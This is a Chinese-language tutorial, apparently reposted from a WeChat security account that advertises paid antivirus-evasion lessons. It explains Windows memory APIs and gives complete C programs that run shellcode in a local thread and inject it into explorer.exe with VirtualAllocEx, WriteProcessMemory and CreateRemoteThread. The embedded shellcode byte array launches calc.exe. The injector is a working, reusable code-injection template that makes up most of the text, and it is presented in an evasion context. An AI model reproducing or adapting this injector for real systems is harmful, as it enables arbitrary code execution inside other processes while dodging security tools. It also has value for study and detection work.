欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新83+ PDF文档,《人生中最好的投资就是投资自己!!!》
加好友备注(星球)!!!
一些资源的截图:
简介
上节我们了解了Dll注入,本节我们来聊一下shellcode注入,但是在这之前我们需要了解一些基础的东西。
执行shellcode的方式有非常多,例如我们常见的指针执行,汇编加载,线程加载,堆加载,纤程加载等等。
本节课我们将去讲一下使用远程线程去加载我们的shellcode。
首先我们需要回顾一下远程线程是什么?
远程线程首先我们需要了解两个概念,也就是进程和线程,首先进程是计算机中程和线程。首先,进程是计算机系统中资源分配的基本单位,每个进程都有自己的地址空间、内存、和执行环境。而线程是进程内的执行单元,一个进程可以包含多个线程,这些线程共享该进程的地址空间和资源。
那么远程线程其实就是在一个进程中启动并且在另外一个进程中执行。
什么叫做在一个进程中启动呢?
线程的创建和执行是在某个特定的进程中发生的,这个进程可以是任何正在运行的进程,也可以是自己创建的进程。
什么是另外一个进程中执行呢?
线程的执行不是发生在创建它的进程内,而是在另一个进程的上下文中运行。换句话说,线程的代码、数据和执行环境都不在创建它的进程中,而是在另一个进程中。
那么我们通过线程去加载Shellcode的话,其实就是通过创建一个线程去加载我们的shellcode,一般用于程序运行时动态的加载并执行shellcode。
我们来看一下它的原理:
-
首先我们肯定需要将shellcode加载到内存中。
-
在加载shellcode的内存区域上设置合适的权限,比如PAGE_EXECUTE_READWRITE或PAGE_EXECUTE_READ。
-
使用Windows Api CreateThread函数来创建一个新的线程,并将线程的入口点设置为Shellcode所在内存区域的起始地址。
-
当新的线程开始执行时,他的执行路径会被设置为Shellcode所在的内存区域,这样线程就可以执行shellcode了。
-
当线程执行完shellcode之后,会终止线程,如果shellcode想要长期运行的话,则需要在shellcode中实现一个等待或者循环代码。
Windows API函数
接下来我们将去了解几个windows API函数,第一个其实就是VirtualAlloc,这个函数我们之前是讲过的,他是一个深情内存的函数,当时没有细说,现在我们来详细说一下这个函数。
VirtualAlloc
VirtualAlloc 是Windwos API中的一个函数。这个函数一般用于在进程的虚拟空间中去分配内存,他是kernel32.dll中的导出函数。
原型如下:
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
首先是第一个参数,这个参数指定分配内存的首选地址,如果我们传递一个NULL值的话系统会自动选择一个合适的地址。
第二个参数指的是要分配内存的大小,他是以字节为单位的,一般的话我们会将shellcode的大小放到第二个参数这里。
紧接着第三个参数表示的是内存分配的类型,可以是以下组合之一:
MEM_COMMIT
:分配内存。
MEM_RESERVE
:保留内存空间而不分配物理存储空间。
MEM_RESET
:将已分配的内存重置为初始状态。
最后一个参数表示内存的保护属性,一般用于指定内存保护的级别,常用的保护属性包括如下:
PAGE_NOACCESS
:内存页不可访问。
PAGE_READWRITE
:内存页可读可写。
PAGE_EXECUTE_READWRITE
:内存页可执行可读可写。
其实在这里的话我们也有其他的想法,比如你在申请内存的时候给他一个可读的权限或者不可访问的权限,但是在执行shellcode之前我们将这个内存更改成`PAGE_EXECUTE_READWRITE
权限,也就是可读可写可执行的权限。
再就是他的返回值了,他的返回值是一个LPVOID类型的,他会指向分配内存区域的指针。
如下示例:
#include <iostream>
#include <Windows.h>
int main()
{
LPVOID pMemory = VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_READWRITE);
}
上述代码很简单,其实就是使用VirtualAlloc函数分配了1024个字节的内存,分配类型为MEM_COMMIT,表示分配内存,内存保护属性为PAGE_READWRITE,表示内存可读可写,如果成功分配了内存,就可以在返回的内存指针 pMemory
指向的内存区域中进行操作。
VirtualProtect
VirtualProtect函数是Windows API中一个函数,它一般用于改变内存页面的保护属性,通过这个函数我们可以调整内存区域的访问权限,比如可读,可写,可执行等等,一般这个函数我们都用于比如将shellcode放到.data节的时候,它是可读可写的,但是不能执行,所以我们需要使用这个函数更改为可执行的。
还有一种应用场景就是上面说到过的,我们在申请内存的时候给的内存页面权限为只读只写,在执行shellcode之前我们将其更改为可读可写可执行。
函数原型如下:
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
首先第一个参数指向的是你要更改的那个内存区域的地址,需要注意的是这个地址必须是系统分配的起始地址。
第二个参数表示的是更改保护属性的内存区域的大小,以字节为单位。
第三个参数就是新的保护属性了,也就是你要更改的保护属性。
可以更改如下值:
PAGE_NOACCESS:内存页不可访问。
PAGE_READONLY:内存页可读。
PAGE_READWRITE:内存页可读可写。
PAGE_WRITECOPY:内存页可读且可写入,但写入时会生成新的私有副本。
PAGE_EXECUTE:内存页可执行。
PAGE_EXECUTE_READ:内存页可执行且可读。
PAGE_EXECUTE_READWRITE:内存页可执行、可读、可写。
PAGE_EXECUTE_WRITECOPY:内存页可执行且可写入,但写入时会生成新的私有副本。
最后一个参数指向一个变量,该变量接收内存区域之前的保护属性。
如下示例:
#include <iostream>
#include <Windows.h>
int main()
{
LPVOID pMemory = VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_READWRITE);
DWORD oldProtect;
VirtualProtect(pMemory, 4096, PAGE_EXECUTE_READ, &oldProtect);
getchar();
}
我们可以使用Process Hakcer进行监控。
当我们申请内存的时候给的是RW的权限。
当我们执行下一行修改保护权限的代码之后他会变成RX。
可以看到已经变成了可读可执行的权限了。
VirtualFree
VirtualFree这个函数是Windows API中的一个函数,一般用于释放先前通过VirtualAlloc或其他内存分配函数分配的内存。
函数原型如下:
BOOL VirtualFree(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType
);
第一个参数表示的是释放的内存区域的起始地址,这个地址必须是由VirtualAlloc分配的内存地址。
第二个参数需要注意的是如果 dwFreeType
为 MEM_RELEASE
,则 dwSize
必须为 0。如果 dwFreeType
为 MEM_DECOMMIT
,则 dwSize
必须是内存页面大小的整数倍。
最后一个参数是指定要释放内存的类型。
MEM_DECOMMIT
:将内存区域标记为未提交状态,使得该内存区域的物理内存被释放,但虚拟地址空间保留。使用这个标志时,必须指定要释放的内存区域大小(dwSize
)。
MEM_RELEASE
:释放整个内存区域,使得该内存区域的虚拟地址空间也被释放。使用这个标志时,dwSize
必须为 0。
CreateThread
这个函数是我们讲的一个重点,因为我们的shellcode要通过线程去执行。
这个函数也是windwos API中的一个函数,这个函数用于创建一个新的线程,这个函数允许你指定线程的入口函数以及参数,并返回一个句柄,我们可以通过该句柄来管理和控制线程。
函数原型如下:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
其实我们使用CreateThread来创建线程主要是指向shellcode存储的那一块内存区域最后执行。
首先第一个参数指向SECURITY_ATTRIBUTES结构指针,这个结构决定了新线程的安全属性,如果为NULL的话,那么线程将获得默认的安全属性。
dwStackSize参数表示新线程的初始堆栈大小。如果该参数为 0,新线程将使用与调用线程相同的堆栈大小。
lpStartAddress指向线程入口函数的指针。线程运行时将从此函数开始执行。该函数必须符合 LPTHREAD_START_ROUTINE
类型定义:
lpParameter
:传递给线程入口函数的参数。该参数可以是任何类型的指针,通常用于传递线程需要的数据。
dwCreationFlags
:指定线程的创建选项,可以是以下值之一:
-
0
:线程创建后立即运行。 -
CREATE_SUSPENDED
:线程创建后处于挂起状态,直到调用ResumeThread
函数。
lpThreadId
:指向一个变量,该变量接收新线程的线程标识符。如果该参数为 NULL,不接收线程标识符。
示例
接下来我们来看看线程去执行shellcode的步骤:
-
第一步肯定是申请一块可执行区域的内存,也可以申请只读只写的,后续通过VirtualProtect更改一下即可。
-
第二步将shellcode赋值到分配的内存中。
-
第三步更改内存区域具有可执行的权限,使用VirtualProtect函数来实现。
-
第四步创建一个线程,并将线程的入口点设置为Shellcode所在的内存地址。也就是指向shellcode所在的内存区域。
-
第五步等待线程执行完成,一般我们会使用WaitForSingleObject函数来执行。
-
最后一步释放内存即可,使用VirtualFree函数来完成。
如下示例代码:
threadcalc.cpp
#include <windows.h>
#include <iostream>
unsigned char shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
typedef DWORD(WINAPI* LPTHREAD_START_ROUTINE)(LPVOID lpThreadParameter);
int main() {
SIZE_T shellcodeSize = sizeof(shellcode);
LPVOID pMemory = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pMemory == NULL) {
return 1;
}
memcpy(pMemory, shellcode, shellcodeSize);
DWORD oldProtect;
if (!VirtualProtect(pMemory, shellcodeSize, PAGE_EXECUTE_READ, &oldProtect)) {
VirtualFree(pMemory, 0, MEM_RELEASE);
return 1;
}
DWORD threadId;
HANDLE hThread = CreateThread(
NULL, // 默认安全属性
0, // 使用默认堆栈大小
(LPTHREAD_START_ROUTINE)pMemory, // 线程入口函数指向Shellcode
NULL, // 无参数
0, // 线程创建后立即运行
&threadId); // 接收线程标识符
if (hThread == NULL) {
VirtualFree(pMemory, 0, MEM_RELEASE);
return 1;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFree(pMemory, 0, MEM_RELEASE);
return 0;
}
如上其实就是最基本的通过线程去执行shellcode了。
Shellcode注入进阶
对于Shellcode注入进阶部分的话和DLL注入是差不多的,所使用到的API函数也是差不多的。
同样也是使用VirtualAllocEx以及WriteProcessMemory和VirtualProtectEx函数,最后使用CreateRemoteThread通过创建一个新线程执行我们的shellcode。
无论是DLL注入还是进程注入我们肯定是要先从枚举进程开始的,进程枚举的话我们前面已经说到过了,大概思路就是创建进程快照,然后遍历,判断传递进来进程名是否一样,然后通过OpenProcess函数来获取到进程的句柄返回。
如下代码:
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
PROCESSENTRY32 Proc = { .dwSize = sizeof(PROCESSENTRY32) };
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE) {
return FALSE;
}
if (!Process32First(hSnapShot, &Proc)) {
CloseHandle(hSnapShot);
return FALSE;
}
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
for (DWORD i = 0; i < dwSize && i < MAX_PATH * 2; i++) {
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
}
LowerName[dwSize] = ' ';
}
if (wcscmp(LowerName, szProcessName) == 0) {
*dwProcessId = Proc.th32ProcessID;
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL) {
printf("[!] OpenProcess Failed With Error: %d n", GetLastError());
CloseHandle(hSnapShot);
return FALSE;
}
CloseHandle(hSnapShot);
return TRUE;
}
} while (Process32Next(hSnapShot, &Proc));
CloseHandle(hSnapShot);
return FALSE;
}
BOOL InjectShellcode(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
PVOID pShellcodeAddress = NULL;
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
// 在远程进程中分配大小为 sSizeOfShellcode 的内存
pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
return FALSE;
}
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
return FALSE;
}
memset(pShellcode, ' ', sSizeOfShellcode);
// 将内存区域设为可执行
if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
return FALSE;
}
if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
return FALSE;
}
return TRUE;
}
代码非常简单,其实就是申请了一块远程进程的内存,然后将shellcode写进去,将内存区域更改为RWX,最后创建线程去指向我们的shellcode执行。
我们debug跟一下:
首先申请了一块远程进程的内存。
紧接着将shellcode写入到目标内存中。
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
unsigned char shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
PROCESSENTRY32 Proc = { .dwSize = sizeof(PROCESSENTRY32) };
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE) {
return FALSE;
}
if (!Process32First(hSnapShot, &Proc)) {
CloseHandle(hSnapShot);
return FALSE;
}
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
for (DWORD i = 0; i < dwSize && i < MAX_PATH * 2; i++) {
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
}
LowerName[dwSize] = ' ';
}
if (wcscmp(LowerName, szProcessName) == 0) {
*dwProcessId = Proc.th32ProcessID;
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL) {
printf("[!] OpenProcess Failed With Error: %d n", GetLastError());
CloseHandle(hSnapShot);
return FALSE;
}
CloseHandle(hSnapShot);
return TRUE;
}
} while (Process32Next(hSnapShot, &Proc));
CloseHandle(hSnapShot);
return FALSE;
}
BOOL InjectShellcode(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
PVOID pShellcodeAddress = NULL;
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
// 在远程进程中分配大小为 sSizeOfShellcode 的内存
pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
return FALSE;
}
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
return FALSE;
}
memset(pShellcode, ' ', sSizeOfShellcode);
// 将内存区域设为可执行
if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
return FALSE;
}
if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
return FALSE;
}
return TRUE;
}
int main()
{
const char* processName = "explorer.exe";
DWORD pid = 0;
HANDLE hProcess = NULL;
if (!GetRemoteProcessHandle(L"explorer.exe", &pid, &hProcess)) {
return 1;
}
//注入shellcode
InjectShellcode(hProcess, shellcode, sizeof(shellcode));
getchar();
}
原文始发于微信公众号(Relay学安全):免杀基础-shellcode注入详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论